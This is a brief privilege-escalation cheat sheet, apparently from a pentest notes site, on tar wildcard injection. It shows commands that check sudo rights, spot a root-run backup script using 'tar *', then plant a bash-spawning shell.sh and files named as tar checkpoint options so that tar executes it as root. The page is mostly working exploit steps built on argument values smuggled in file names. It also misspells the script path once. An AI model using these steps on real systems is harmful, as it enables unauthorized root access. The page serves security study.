Tar Wildcard Injection PrivEsc
Investigation
sudo -l
(root) NOPASSWD: /opt/backup/baskup.shCheck If the File Contains Tar Command with Wildcards
cat /opt/backup/backup.sh
# -cf: create an archived file
tar -cf backup.tar *Exploitation
cd /opt/backup
echo -e '#!/bin/bash\n/bin/bash' > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1Last updated